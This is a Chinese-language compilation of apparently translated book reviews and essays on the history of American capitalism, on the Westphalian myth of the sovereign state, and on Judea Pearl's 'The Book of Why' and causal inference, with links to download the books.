从19世纪中叶到福特主义崛起的农业和工业的联合起飞。相反，发展的视角强调了意识形态信仰和政治行为者如何构建工业化的进程。并不是资本形成的所谓自然激励创造了飞速增长，并最终压倒了国际对手；相反，是政治决策及其不同的民众支持，决定了发展的速度、美国福利国家的兴衰以及美国经济霸权的范围。

- 如果您错过了《印钞机》

与学术史家称之为“资本主义史”的领域的学科方向一致，利维坚持政治倡议对经济发展的中心地位。通过对几个世纪以来证据的艰苦积累，《美国资本主义时代》这本书决定性地表明，如果没有国家机制为投资活动提供动力和设定参数，资本就不会为公众的利益而工作。同时，利维表明，政治举措也是有缺陷的，以偏见或彻头彻尾的艰难妥协以及有时缺乏远见为特征。在这方面，利维对19世纪末工业化的不平衡和不平等的描述尤其具有指导意义，因为它为解释民主党如何转变为新政自由主义的政党提供了新的资源。这样一来，利维大大丰富了读者对早期共和党崛起作为一个世界历史事件的理解。

这段漫长的历史可能预示着拜登对美国经济的看法？他对特朗普的胜利提高了富裕的郊区居民的支持率，但对民主党动员工人阶级选民的能力产生了怀疑。如果拜登真的打算建立一个更加公正和平等的经济秩序，他最好参考一下利维书中记录的美国发展的成就和悲剧。〇

📌 在这里下载这本书：https://www.patreon.com/posts/zi-ben-zhu-yi-fa-54654161

Portrait of the United States as a Developing Country

原文

超越民族国家：是时候结束 "主权国家" 的神话了 - iyouport

免费书和纪录片

主权国家一直被神话化为政治秩序的自然单位。而历史表明，它们只是非常新的概念 -- 而当下的问题要求人们必需超越 "主权国家" 去思考。

今天，关于国际政治最常见的说法之一是，从 “威斯特伐利亚” 过渡到了 “后威斯特伐利亚” 时代。广泛的媒体和学术来源的作家们利用这一框架，提出了关于未来道路的关键问题：跨国公司的人权责任是什么？二十一世纪的战争将如何展开？联合国和欧盟等国际组织是否会变得越来越独裁？

威斯特伐利亚秩序指的是将全球政治构想为一个由独立主权国家组成的体系，所有这些国家在法律上是相互平等的。关于这个政治体系最流行的故事可以追溯到1648年的《威斯特伐利亚和约》，关注它在欧洲的加强和在世界范围内的逐步扩展，最后，在20世纪末，人们开始发现它即将衰落的迹象。根据这种观点，国家曾经拥有的大部分权力已经被重新分配给了各种非国家机构和组织—— 从联合国、欧盟和非洲联盟等知名国际组织，到ISIS、博科圣地和塔利班等暴力非国家行为体，以及 Facebook、谷歌和亚马逊等具有全球经济影响力的巨头公司。这种情况下，故事往往会导致国际政治秩序更像中世纪的欧洲，而不是二十世纪的全球政治体系。

评论家们对这种 “后威斯特伐利亚” 秩序的意义不一，而国际组织干预国家事务是否可取，本身就是一个很大的争论焦点。然而，人们对把我们带到现在的故事中的事件有广泛的共识—— 简而言之，威斯特伐利亚的构想构成了全球政治主流分析的描述性基础。

然而这个故事的问题在于，它的很多内容都是大错特错的。在过去的二十年里，研究全球秩序历史的学者们煞费苦心地展示了威斯特伐利亚的故事和历史证据之间如何地完全不匹配。民族国家并不像您经常被告知的那样 “古老”，也并不是那么自然形成的。正确对待这段历史

意味着要讲述一个关于国际政治秩序从何而来的不同故事 —— 这反过来又为另一个未来指明了方向。

这些问题在今天显得尤为紧迫。冷战结束后，非国家组织确实在增长，但近年来，一系列右翼领导人的出现，只是巩固了民族国家的影响力。民族主义的惊人复苏—— 从英国脱欧和唐纳德·特朗普到纳伦德拉·莫迪、贾伊尔·博索纳罗和维克多·欧尔班的上台—— 导致一些人猜测威斯特伐利亚秩序的时刻可能终究没有过去，而其他人则坚持自己的观点，认为这种现象只是一个垂死的系统的痉挛而已。正确看待国家制度的历史，对这两种立场都有重要影响。

- 如果您错过了《*国家*的危险神话》

一代又一代的国际关系学学生吸收了1648年《威斯特伐利亚和约》的理念，认为它是一部泛欧宪章，创造了现在横跨整个地球的政治结构：一个法律上（虽然不是物质上）平等的主权国家体系。伴随着这一政治结构，这个故事还出现了其他重要的特征，从不干涉原则、尊重领土完整、宗教宽容到权力平衡概念的确立和欧洲多边外交的兴起。有鉴于此，“威斯特伐利亚和平” 不仅是一个时间基准，而且是我们现代世界的一种锚。通过威斯特伐利亚，欧洲进入了政治现代性，并为世界其他地区提供了一个模式。

在过去的几十年里，从事国际秩序史研究的学者们—— 包括全球史、国际关系和国际法等各种学科 —— 都表明，这种传统的说法不仅是错误的，而且与历史现实截然相反。

事实上，唯一最有名的揭穿工作，奥西安德·安德烈亚斯（Andreas Osiander）的《主权、国际关系和威斯特伐利亚神话》，到今年已经20年了。正如这些学者所强调的，结束了摧毁欧洲的三十年战争（**1618–1648**）的威斯特伐利亚和平条约，并没有提到国家主权或不干涉，更没有提到重组欧洲政治体系的愿望。这些条约不仅没有体现1555年《奥格斯堡和约》所确立的被称为 “谁的王国，谁的宗教”（cuius regio eius religio）即 教随君定的宗教宽容原则，反而推翻了它，认为它是不稳定的原因。这些条约也没有提到权力平衡的概念。事实上，威斯特伐利亚和约加强了一种关系体系，这种关系体系恰恰不是基于主权国家的概念，而是重申神圣罗马帝国复杂的管辖安排（**landeshoheit**），它允许自治的政治单位在没有中央政府的情况下形成一个更广泛的联合体（“帝国”）。

目前的混乱部分源于将1648年签署的所有主要和平条约归结为一个名称。人们所称的威斯特伐利亚和平实际上是指两个条约：在1648年5

月和10月之间签署的，它们是神圣罗马帝国与其两个主要对手法国（《明斯特条约》）和瑞典（《奥斯纳布吕克条约》）之间的协议。每项条约主要涉及神圣罗马帝国的内部事务以及与法国和瑞典之间较小的双边领土交换。(除了这两项协议外，西班牙和荷兰还在那年1月签署了另一项明斯特条约，以结束八十年战争，但这一较早的协议与神圣罗马帝国的条约几乎没有实质性的联系。)

除此之外，这个误导性的叙事如何变得如此流行？这些条约只是在十八世纪末和十九世纪初才被适当地神话化，当时欧洲历史学家转向早期现代时期，以便编写有利于他们自己世界观的故事。正如理查·德维塔克和爱德华·基恩等学者所解释的那样，这一时期的保守历史学家—— 特别是以哥廷根为基地的德国历史学派—— 热衷于将1789年前的欧洲大陆描绘成一个有序的国家体系，其特点是克制和相互尊重，但却受到了拿破仑扩张主义帝国主义的威胁。这种对早期现代欧洲历史的重塑是一个更大的、现在已被充分研究的趋势的一部分，它试图使国家体系和全球欧洲力量的崛起看起来是一个线性的、不可避免的和值得赞扬的过程。这个叙事称，「欧洲人在政治组织方面是独一无二的现代人，他们将把这个礼物带给世界其他地区」。

正如安德烈亚斯所解释的，威斯特伐利亚和平在这种新的历史叙事中被赋予了骄傲的地位，其手段是回收17世纪的宣传品。十九世纪的历史学家们在寻找一个国家为了主权对抗帝国统治的故事时，正好在法国和瑞典王室在三十年战争期间散布的反哈布斯堡的谎言中找到了他们需要的东西。

二十世纪的历史学家们进一步推动了这种叙述。就像基础神话一样，有一篇文章似乎特别有影响力，特别是在国际关系和国际法领域：奥地利裔美国律师利奥·格罗斯的文章“威斯特伐利亚和平：1648–1948”，于1948年发表在《美国国际法杂志》上。这篇文章在当时被誉为“永恒的”和“开创性的”，它赋予了战后新兴秩序以意义。通过将1945年的《联合国宪章》与《威斯特伐利亚和平协定》相比较，格罗斯重提了一个关于自由、平等、不干涉的条约，以及所有其他所谓的重塑国家主权的美德的故事。他确实注意到，条约的文本似乎并没有反映这些想法，但他提出了一般原则，他认为这些原则一定是协议的基础。结果是，那些继续引用他的话的人进一步创造了神话：在最好的情况下，他们挑选出一些有关神圣罗马帝国内部事务的条款，并将其作为泛欧新秩序的基础；而更多的时候，他们只是完全回避了威斯特伐利亚的故事和条约内容之间的明显差异。

我得出的结论是，这个神话之所以经久不衰，主要是因为揭穿它的所有努力均未能提供一个清晰而令人信服的替代方案。那么，解决威斯

特伐利亚事件的办法似乎在于提出一个基于更高的历史准确性的替代性叙述，一个反映现代国际秩序产生的更为复杂的过程的叙述。

一个更好的故事—— 它本身可能并不完整，但仍然是一个改进——大概像这样。直到19世纪，国际秩序还是由一个个拼凑起来的政体组成的。虽然人们经常把欧洲大陆和世界其他地区区分开来，但最近的研究提醒我们，直到19世纪，欧洲的政体也仍然是非常异质的。虽然其中一些是主权国家，但其他一些则包括诸如神圣罗马帝国和波兰-立陶宛联邦这样的复合形式，在这些国家中，主权以非常复杂的方式被划分。

事实上，人们认为理所当然的国际体系的正常组织方式大多只是最近才出现的。主权国家地位在19世纪才成为欧洲的默认状态，神圣罗马帝国等实体逐渐让位于德国等主权国家。虽然在这方面经常被忽视，但拉丁美洲也在这一时期由于其连续的反殖民革命而过渡到了主权国家体系。然后，这一体系通过20世纪50年代到70年代的去殖民化成为了国际秩序的默认状态，当时独立的主权国家取代了世界各地的帝国。在整个过渡过程中，人们考虑了各种替代方案，包括直到20世纪50年代出现的联邦和同盟形式，但这些方案后来基本上被遗忘了。在过去的几十年里，“国家” 不仅作为国际体系的唯一合法单位取得了胜利，而且还重塑了所有人的集体想象力，令人们认为 “自**1648**年以来这一直是正常的做事方式”。

迟至1800年，法国边境以东的欧洲还看起来完全不像它的当代版本。正如历史学家彼得·威尔逊（Peter H. Wilson）在其最近出版的《欧洲之心》（2020年）一书中所描述的那样，长期以来被民族国家历史学家冷落的神圣罗马帝国，在那时已经存在了一千年；在其巅峰时期，它占据了欧洲大陆的三分之一。它继续坚持了六年，直到在拿破仑入侵的压力下解体，并被法国主导的莱茵联盟（1806–1813）和随后的德意志联邦（1815–1866）暂时取代。

后者在许多方面与神圣罗马帝国如出一辙；它看起来根本不像是一个民族国家。它的大部分领土仍然与哈布斯堡君主国的领土重叠——即 所谓的 “前现代” 风格，这是另一个比神圣罗马帝国更早开始中央集权进程的复合国家，但直到19世纪末，它也不像一个民族国家。它巩固了奥地利帝国（1804–1867），然后是奥匈帝国（1867–1918），但1867年的权力分享协议给予匈牙利相当大的自主权，基本上允许它管理自己的小帝国。同时，在南方，我们认为的现代意大利仍然是一个由王国（撒丁岛、两西西里王国、奥地利王室控制下的伦巴第-威尼斯）、公国（包括帕尔马、摩德纳和托斯卡纳）、以及教皇国组成的拼凑体，而更东边的领土则由奥斯曼帝国统治。直到19世

纪中期，欧洲地图才开始变得更像一个民族国家的集合体。比利时和希腊出现在1830年，而意大利和德国的统一则在1871年完成。

人们习惯于认为欧洲是历史上第一个完整的主权国家体系，但拉丁美洲实际上也是在同一时期走向这种政治组织形式的。在经历了三个世纪的帝国统治之后，该地区在18世纪末和19世纪初的大西洋革命之后，出现了其政治地理的彻底重划。跟随美国（1776年）和海地（1804年）的脚步，它见证了一系列的独立战争，到1826年，除了少数例外，基本上把西班牙和葡萄牙帝国赶走了。当然，英国通过积极的外交和经济措施的组合，迅速获得了对该地区贸易的控制，这通常被称为“非正式帝国”，但它现在的互动是与正式的主权国家。

在那个世纪余下的时间里，独立后出现的主权联邦结构 —— 大哥伦比亚（1819–1831）、中美洲联邦共和国（1823–1841）和拉普拉塔河联合省（1810–1831）在持续了几十年的血腥内战中崩溃，各地区与中央集权政府对立，包括多次试图重组这些更大的政治集团。因此，与西欧一样，该地区直到**19**世纪末才稳定下来，成为一个类似于当代的民族国家体系。现在似乎有可能讲述一个关于北美的相对类似的故事，如历史学家雷切尔·圣·约翰正在进行的项目《想象中的美国：十九世纪北美的不真实的历史》。

当然，尽管民族国家越来越受欢迎，但帝国仍在继续兴旺。在第二次世界大战之前，世界仍然由帝国和它们所创造的异质性政治权力结构所主宰。一旦去殖民化在1945年后起飞，民族国家就不是桌面上的唯一选择了。在《帝国之后的世界创造》（2019）中，亚当·格塔切夫 (Adom Getachew) 描述了盎格鲁非洲的“联邦时刻”，当时非洲大陆各种独立运动的领导人讨论了组织非洲国家区域联盟的可能性，以及在加勒比地区组织西印度联邦的可能性。他们把美国作为成功的后帝国联邦的例子，玩弄了中央集权的联邦国家的想法，但最终发现自己与那些倾向于更松散的联邦、把更多的主权决策权留在各国手中的人意见不一。

就非洲法国殖民地而言，对民族国家模式的背离甚至更为激进。正如弗雷德里克·库珀（Frederick Cooper）在《帝国与国家之间的公民权》（2014）中所描述的那样，在这种情况下，民族国家的最终胜利是大都会的法国政府与推动非殖民化进程的非洲领导人和思想家（从塞内加尔的第一任总理马马杜·迪亚到“国家”的主要理论家之一利奥波德·塞达尔·桑戈尔）之间的分歧的结果。大部分的对话最初都是针对既不是帝国也不是民族国家的政治形式，而是将公民身份想象成一揽子权利，不必与民族国家身份整齐地重叠的联邦和邦联。这个想法涉及到国家间的联邦，而不是像美国那样把联邦作为国家。每个政体

都有自己的政府和身份，但它们将共同行动，并在一个多民族国家内提供一种共同的公民身份形式。

这种形式的“反民族主义的反殖民主义”最终因法国政府不愿意在更广泛的公民网络中分配大都会的资源而遭到抵触。然而，它曾经被认真考虑的事实应该让我们暂停一下。当然，在非殖民化的背景下，民族国家的胜利代表了殖民地人民对其长期压迫者的最后胜利；但它也切断了具有共同历史的地区的联系，并创造了*自己的压迫模式*，特别是对那些被剥夺了自己国家的人来说：原住民、无国籍民族、少数民族。在美国和澳大利亚这样的定居者殖民地，国家建设的压迫力几乎消灭了整个本地人口，在国家建设成为反对帝国的武器的情况下，人们也感受到了这种压迫。在这些情况下，很可能是弱者理所当然地赢了，但他们有时是以牺牲最弱者为代价的。

情况可能会有所不同吗？在历史思维中，反事实是一个危险的游戏。但显而易见的是，仅仅七十年前，被现在的人们认为是不言而喻的组织政治社区的方式，仍然只是我们集体想象力的选项之一。

这个关于现代国际秩序如何形成的不同故事，显然对我们如何思考过去有着严重的影响；并且它对我们如何思考现在也有同样严重的后果。

首先，它迫使我们重新思考国际稳定的来源。传统的说法是将国际秩序与主权国家体系的存在联系起来，但另一种说法认为，1648年之后的时期的特点是各种政体的复原力。就欧洲大陆而言，最明显的这种政体是庞大的神圣罗马帝国，它继续尝试复杂的分层主权安排，直到1806年崩溃。因此，1648年后的相对稳定可能与欧洲大陆持续的政体多样性有更大关系，而不是与一个同质化的主权国家体系的出现之间的关系。一些学者将目光投向了欧洲的边界之外，并已经注意到在全球帝国建设的其他地区通过多样化的政治组织形式实现了这种稳定模式，例如安德鲁·菲利普斯和J.C.沙曼在他们对印度洋的研究中《多样性的国际秩序》（2015）。因此，这一时期表明，一个由不同类型的行为者分享权力的国际体系事实上可能是相对稳定的。

第二，认真对待另一个故事，迫使我们重新思考我们如何谈论非国家行为者在当前的影响。仅举一例，即使是当代最强大的跨国公司——**Facebook**、谷歌、亚马逊、苹果和其他公司—— 其正式权力也比**19**世纪中期之前作为国际秩序核心行为者的著名商业公司受到更大的限制。两个最大的公司，英国和荷兰东印度公司，分别成立于**1600**年和**1602**年，在其两百年的存在中积累了惊人的权力，成为欧洲帝国扩张的主要引擎。虽然这些公司一开始是寻求进入亚洲有利可图的贸易网

络的商人企业，但它们逐渐变成了更有野心的事业，并从最初在印度和印度尼西亚的前哨基地发展成为自己的完全的政体。正如许多学者现在所认为的那样，他们是“公司国”—— 公私混合的行为体，在法律上有权统治臣民，铸造货币，并发动战争。从这个角度来看，当代非国家行为体与国家相比仍然是相对弱小的，而国家垄断的正式权力仍然远远超过国际体系中所有其他行为体。

【注；公司国这个概念源自 Charles Reich 于1970年出版的《绿化美国 The Greening of America》一书中公司国不受人控制、无视人权的价值观。】

- 如果您错过了《你好，无国籍人士》

这并不是说跨国公司日益增长的力量不值得关注；它当然值得关注；问题是，在我们努力限制这些公司的有害影响时，我们应该注意*不要认为*罪魁祸首是国家的空前削弱，*不应该认为*解决办法是扩大国家权力。一种更准确的历史观将为讨论在国内和国际上探索替代性治理安排可能存在的机会提供推动力。

第三，威斯特伐利亚的神话倾向于抹去任何不使国家制度听起来像一个近400年历史的“必然性”的历史证据。1648年后，国家当然很重要，但是，其他许多行为体也很重要，从商业公司到半主权政体和各种帝国，或多或少都有正式的结构。这个体系在19世纪才真正开始解体，其许多特征一直持续到20世纪。从这个角度看，所谓的“威斯特伐利亚秩序”开始看起来更像是一种反常现象，而不是现状。

要想知道国家去中心化会有什么影响，可以考虑一个历史例子。仅仅在60年前，殖民地人民在争取自由的斗争中所面临的挑战，由于他们本身不是国家，他们几乎没有针对他们试图反抗的国家的国际法律权利，因此变得更加严重。最重要的是，他们不被允许对其占领者使用武力；如果他们这样做，国内法和国际法都认为他们是罪犯而不是战斗人员。无论他们的事业是否合法，也无论他们是否有能力将自己组织成一个复杂的民族解放运动网络，这一点都适用。虽然在大多数情况下，他们最终设法获得了自由，并通过组建自己的独立国家在全球外交舞台上找到了一席之地，但是，如果他们在早期就能以集体行动者的身份享有基本的权利，他们获得自由的道路就会少很多阻碍。

了解了这段历史，就会发现，目前国家体系作为组织全球的基础的核心地位只是最近才有的，而且状况相当好，而不是已经存在了几个世纪，处于崩溃的边缘。欧盟等政体内主权的分层，公司力量的上升，不被认为是“国家”的暴力团体的突出，这些发展都与过去373年国际

关系的运作方式没有根本性的冲突。从长远的角度来看，真正的新事物是国家在世界范围内的胜利，以及人们无法思考出不涉及民族国家或民族国家组织的世界组织方式。

最近 Noema 杂志对弗朗西斯·福山的采访在这方面很有说服力。当被问及民族国家现在是否不足以应对紧迫的全球问题时，福山承认，这种 “挑战不能由单个国家来解决”。但他继续说，“其中有多少问题可以通过现有国家之间更好的合作来解决？” 正如该杂志对这一思路的总结：“面对地球上的挑战，民族国家既是问题，也是解决方案”。即使是与民族国家的局限性保持一致的思想家，似乎也无法摆脱当代政治想象中的国家主义束缚。关于以国家为基础的超国家机构的辩论也同样是沿着一个非常狭窄的光谱进行的，即：是给国家更多的权力，还是给以国家为基础的国际组织更多的权力？在这个全球危机的时刻，包括**COVID-19**和气候危机的时刻，我们迫切需要找到打破当下这般陈旧思想的改革愿景。

此外，在我们谈论国际秩序时，除了对历史分期的争论外，还有更多的利害关系。歪曲国家制度的历史，正中民族主义强人的下怀，他们把自己描绘成拯救世界的人，使之免于陷入无国家的无政府状态，而这些公司则根本不在乎国家的忠诚。更广泛地说，正确对待这段历史意味着要进行正确的对话。把权力交给国家以外的行为者并不总是一个好主意，但我们必须抵制究竟是民族主义复苏还是非民主实体胜利之间的错误选择。

因此，在我们努力想象一个破坏性较小的未来时，利用对过去的更准确理解的时机已经成熟。对历史的新叙述并不能提供简单的解决方案，但是，它确实可以为设想一种不同的国际秩序开辟道路，这种秩序可以为更多的政体多样性提供空间，并在国家权利和其他集体的权利之间恢复某种平衡。

今天的规范是，国家享有的权利远远多于任何其他集体 —— 从原住民到跨国社会运动 —— 仅仅因为它们是 “国家”。但是，并不清楚为什么这应该是我们集体想象力的唯一框架，特别是，如果它的合法性建立在早已被推翻的国家制度的历史之上。威斯特伐利亚的神话最终严重损害了我们创造性地思考如何解决紧迫的全球挑战的能力，这些挑战超越了边界和政府组织的层次，从社区、村庄和城镇一直到国际机构。

现在，可以让我们想象更多的可持续发展方式来组织这个世界的时间已经接近耗尽，我们必须把这个神话永远掩埋起来。●

📌 本文中提到的相关书籍您可以在这里下载，以便进一步研究：
https://www.patreon.com/posts/chao-yue-min-zu-58967687

Beyond the Nation-State

原文

这个世界的为什么 - iyouport

为什么免费书和纪录片

【2021年5月28日存档】如果我们要了解如何采取成功的行动，就必须弄清这个世界的原因。我们认为这本书很有趣，不仅可能帮助您理解数据分析隐藏的弊端，并且，您可以从中获得社会学分析方面的提升，您可以将它应用在很多地方，比如分析新闻故事

“相关性不是因果关系”。

虽然这句话是正确的，也是重要的，但这一警告已经变成了人们熟悉的陈词滥调。所谓的虚假相关性的例子现在已经屡见不鲜。正如一个例子所讽刺的那样，一个太平洋岛国部落认为 “跳蚤侵袭对人的健康有益”，因为他们观察到健康的人有跳蚤，而生病的人没有。这种关联是真实而有力的，但跳蚤当然不会 *导致*健康：它们只是 *表明*健康。跳蚤会放弃发烧的人的身体，而去寻找更健康的宿主。人们不应该为了抵御疾病而寻找和鼓励跳蚤。

问题在于另一个观察：因果关系的证据似乎完全在于相关性。但如果不是看到相关性，我们就不会有因果关系的线索。比如说，我们发现吸烟会导致肺癌的唯一原因，就是观察到了这种特殊情况下的相关性。

于是，一个难题出现了：如果因果关系不能归结为相关性，那么相关性又怎么能作为因果关系的证据呢？

计算机科学家 Judea Pearl 和科普作家 Dana Mackenzie 合著的《The Book of Why》，着手给这个古老的问题一个新的答案，至少从启蒙运动以来，这个问题一直在以某种形式存在，科学家和哲学家们都提出过这个问题。2011年，Pearl 因 “通过发展概率论和因果推演，对人工智能做出了根本性的贡献” 而获得了计算机科学的最高荣誉 ——图灵奖，而这本书则着手为普通读者解释这一切意味着什么，更新了他近二十年前出版的关于同一主题的技术性较强的书《因果关系》。

在这本书在科学和社会学两个方面，都有智慧和警世的意义。

Pearl 也有一个巨人之斧，特别是在研究人类认知 —— 我们的思维—— 以及围绕当代人工智能的炒作时。他写道："这种以数据为中心的历史，大部分至今仍在困扰着我们"。

自从《连线》杂志宣布"理论的终结"以来，已经过去了十一年了，因为"数据洪流让科学方法过时了"。Pearl 在这股潮流中奋力游走。

"我们生活在一个假定大数据是解决我们所有问题的时代"，他说，"但我希望用这本书来说服你，数据只是深刻的哑巴"。 数据可能会帮助我们预测会发生什么—— 事实上，计算机可以驾驶汽车，并在非常复杂的战略游戏中击败人类，从国际象棋和围棋到"危险边缘"！但即使是今天最复杂的机器学习技术也无法让数据告诉我们 *为什么*。对于 Pearl 来说，缺失的成分是一个"现实模型"，而这个模型的关键就取决于原因。他针对一众爱好者争辩说，现代机器与人类的头脑完全不同。

为了明确利害关系，请考虑以下情况。假设汽车的颜色和它们卷入事故的年度比率之间存在着强大的、统计学上显著的、长期的相关性。具体来说，假设红色的汽车，尤其是红色的汽车，年复一年的事故发生率比任何其他颜色的汽车都要高。当您去买一辆新车时，为了保证路上的安全，您是否应该避开红色？

稍加思考就会发现，有许多不同的因果机制可以作为观察到的相关性的基础，而且每种机制都会产生不同的建议。一方面，可能是人类的视觉系统不像其他颜色那样擅长判断红色物体的距离和速度。在这种情况下，红色汽车可能会发生更多的事故，因为其他司机往往会误判接近红色汽车的速度和距离，所以更经常与红色汽车相撞。

而另一方面，这种关联性可能与颜色本身的危险完全无关。例如，它可能是一个共同原因的副产品。选择红色汽车的人可能比一般的司机更倾向于冒险和追求刺激，所以卷入的事故也就相应地更多。不过话又说回来，这种关联性可能和驾驶能力完全没有关系。买红车的人可能只是比其他人更喜欢开车，每年花在路上的时间更多。在这种情况下，人们会预期涉及红色汽车的事故会更多，即使这些司机平均比其他司机更加小心谨慎。

所有这些假设都可以解释观察到的汽车颜色与事故发生率之间的相关性。而且人们还可以很容易地想到其他假设。更糟糕的是，观察到的相关性可能是所有这些因素共同作用的产物。但只有第一个假设产生

了这样的建议，即：人们应该避免购买红色汽车，以提高避免事故的机会。在其他情况下，红色本身没有起到任何因果作用，而只是其他因素的一个指标。

这个例子说明了因果推理的基本问题。我们如何才能在如此众多的替代解释中找到解决问题的因果真相？

在某些情况下，最好的建议是寻找更多的相关性，不同变量之间的相关性。

例如，为了检验事故发生率较高是否是因为在路上的时间较长，我们应该控制时间这个变量。如果相关性的真正原因在于不同司机喜欢开车的程度，而不是汽车的颜色本身，那么当查看汽车颜色与每英里驾驶的事故或每小时驾驶的事故、而不是每年的事故之间的关联时，相关性应该消失。这种思路表明，从相关性中推导出因果关系的诀窍只是梳理出一个足够大的数据集来寻找其他关联性。根据这种操作主义的思维方式，所有的答案都在数据中，以某种方式存在。人们只需弄清楚如何适当地平移这些数据，以揭示隐藏的因果亮点 。

Pearl 在20世纪70年代开始了他在人工智能方面的研究工作，他接受的教育向他传授了这种思维方式。在整个二十世纪，对于科学界的大部分人来说，因果关系的概念本身就被认为是可疑的，除非而且直到它能被翻译成纯统计学的语言。

悬而未决的问题是如何进行翻译。但 Pearl 一步步痛苦地发现，这种标准的方法是行不通的。因果关系确实不能归结为相关性，即使在大型数据集中，**Pearl** 也看到了这一点。在这个问题上投入更多的计算资源，就像 Pearl 在他的早期工作中所做的那样（在 “贝叶斯网”上，它将托马斯·贝叶斯的基本规则用于根据新的证据更新概率，应用于大量相互关联的数据集），将永远不会产生一个解决方案。简而言之，如果不从输入因果假说开始，你永远都不会得到因果信息。

这本书就是关于 Pearl 如何认识到这一点的故事。在其之后，他开发出了简单但强大的技术，使用他所谓的 “因果图” 来回答关于因果关系的问题，尤其是确定什么时候这种问题根本无法从数据中得到答案。

对于任何有足够兴趣的读者来说，这本书应该都是可以理解的，可以在一些公式上停顿一下，消化它们的概念意义（尽管即使是有概率论背景的人也需要付出一些努力）。好消息是，Pearl 的主要创新——因果假说的使用—— 与其说是用充满代数的统计学，不如说是用视

觉直观的图片来表达的知识。“有向图” 说明了可能的因果结构，用箭头从假设的原因指向结果。只需关注这些图和通过这些图的各种路径，就能理解这本书的大量论点。

考虑这些图的两个基本构件。如果两个箭头从一个节点出发，那么就有了一个“共因分叉”，它可以在本身并不存在因果关系的属性之间产生统计学上的相关性（比如鲁莽驾驶者喜欢红色假说中的汽车颜色和事故率）。在这种情况下，A可能同时导致B和C，但B和C并不是因果关系。

另一方面，如果两个不同的箭头进入了同一个节点，那么就有了一个“对撞因子”，这就引起了一系列完全不同的方法论问题。在这种情况下，A和B可能共同导致C，但A和B不是因果关系。

这两种结构的区别对因果推理有重要的影响。例如，虽然控制共同原因可以消除误导性的相关性，但控制对撞因子却可以创造这些相关性。如 Pearl 所示，给定某个因果模型，一般的分析方法是找出连接节点的“后门”（共同原因）和“前门”（对撞因子）路径，并在每种情况下采取适当的谨慎措施。

下面是一些简单的例子。我们知道一辆车是红色的和它在某一年发生事故之间存在正相关关系；但我们不知道汽车变成红色是否会让它更危险。所以我们首先要想出各种因果假设，并用有向图来表示：用箭头连接的节点。

在一个假设上，红色是事故的原因，所以我们从“红车”这个节点画一个箭头到“事故”这个节点。故事结束。

在另一个假设上，某种性格特征是导致买红车和多开车的原因，多开车是导致更多事故的原因（每年）。因果图中，从“个性”节点到“红车”节点和“多开车”节点都有箭头（所以“个性”是一个共因叉），从“多开车”到“事故”还有一个箭头。个性特征只是间接导致事故。

在这张图中，从“红车”到“事故”还有一条连接的路径，可以解释这种相关性，但这是一条后门路径：它通过一个共因（“个性”）。我们可以通过控制“个性”（这可能是一个未知的特质）或控制“更多的驾驶”（可测量）来检验这个假设。如果控制了其中任何一个因素，相关性仍然存在，那么我们就知道这个因果结构是错误的。

但如何决定首先要检验哪些因果模型呢？

在 Pearl 看来，它们是由理论家根据背景资料、似是而非的猜想、甚至是盲目的猜测提供的，而不是从数据中得出的。因果图的方法使我们可以通过呼吁数据来检验假设，既可以自己检验，也可以互相检验，它并没有告诉我们要检验哪些假设。(“我们只有在提出因果模型之后才收集数据”，Pearl 坚持说，“在我们说出我们希望回答的科学疑问之后 ……这与传统的统计学方法形成了鲜明的对比……传统的统计学方法甚至没有因果模型”）。

有时，数据可能会驳倒一个理论。有时我们发现，我们手头的数据都不能在一对相互竞争的因果假说之间做出决定，但我们可以通过获得的新数据来解决这个问题。而有时还会发现，根本没有任何数据可以起到区分假说的作用。

虽然这种利用假设的因果结构从统计数据中挑出因果结论的方法非常简单—— 而且 Pearl 和 Mackenzie 给读者举了一些例子，可以像解决逻辑难题一样解决 —— 但 Pearl 的这些方法的路线是艰难而迂回的。主要的问题很简单：正如他们所叙述的那样，整个统计学领域已经完全放弃了对因果关系的明确谈论，所以 Pearl 的方法需要逆着该领域的 “常识” 之流而行。（应该指出，一些统计学家对这一领域的历史特征提出了质疑）。他与主流的分歧始于20世纪80年代末和90年代初，他以合理的自豪感叙述了他的知识和与制度的斗争。

这是一个古老而熟悉的故事。对世界的描述，无论是科学的还是 “常识的” ，都假设了各种事物—— 实体、规律和结构—— 这些都是无法立即观察到的。但是，评价这种理论所依据的数据必须是可观察的：毕竟，这就是它们之所以成为数据的原因—— 它们是经验给我们的东西。

因此，在我们所相信的东西（理论）和我们必须相信它的理由（数据）之间就会出现一个差距。这个差距 —— 哲学家们称之为 “证据对理论的确定不足”—— 意味着所有的理论都是错误的：数据不能使理论正确。一些特别敏感的人发现这种认识论上的差距是不能容忍的；因此，许多科学经常性地开展运动，完全清除 “理论” 假设，并以某种方式将科学框定为只关于可观察数据结构的陈述。

这种回到数据的方法已经尝试过很多次 —— 想想心理学中的行为主义和物理学中的实证主义—— 但都同样失败了。在统计学中，根据 Pearl 的说法，它所采取的形式是放弃所有关于因果关系的谈论；因为，正如启蒙哲学家大卫·休谟在17世纪指出的那样，事件之间的因果关系本身并不是可以立即观察到的。正如休谟所言，我们可以观察到事件的结合—— 比如说，一种事件始终如一地跟在另一种事件之后

—— 但不能观察到因果联系。Pearl 说："你只是徒劳地在统计学教科书的索引中搜索关于 '原因' 的条目。学生不被允许说X是Y的原因 —— 只允许说X和Y是 '相关' 或 '关联' "。

但我们普遍关心的是世界上有效的干预措施，而哪些干预措施会有效，取决于因果结构。如果一辆车的红颜色是其发生事故的原因之一，那么买一辆不同颜色的车将更安全。如果仅仅是由于购买者的心理等共同原因造成的相关性，那么不妨选择自己喜欢的颜色。避开红色的车并不会神奇地让你成为一个更好的司机。不足为奇的是，试图通过满足于讨论相关性来压制对因果关系的谈论，使得统计分析领域陷入了一片混乱。

公平地说，该领域并没有完全压制这种谈话。它只是大部分被归入了"实验"（相对于"观察性研究"）这一更专业的领域，这是一个高于和超越普通统计分析的主题 —— 它本身并不能导致关于原因的结论。

事实上，有一种被普遍认可的情况，观察到的相关性被接受为因果关系的证明：随机对照试验（RCT）。假设我们把一大批买车的人随机分成两组，实验组和对照组。然后强迫实验组开红车，禁止对照组开红车。由于这两组是随机形成的，所以绝大多数情况下（如果这两组的人数足够多的话），它们在已知和未知的所有方面都会有统计学上的相似性。例如，每组中约有相同比例的人将是鲁莽驾驶者。如果实验组的事故数量超过了控制组的事故数量，在统计学上具有显著性，我们就有了"金本位"的证据，证明颜色本身会导致事故。

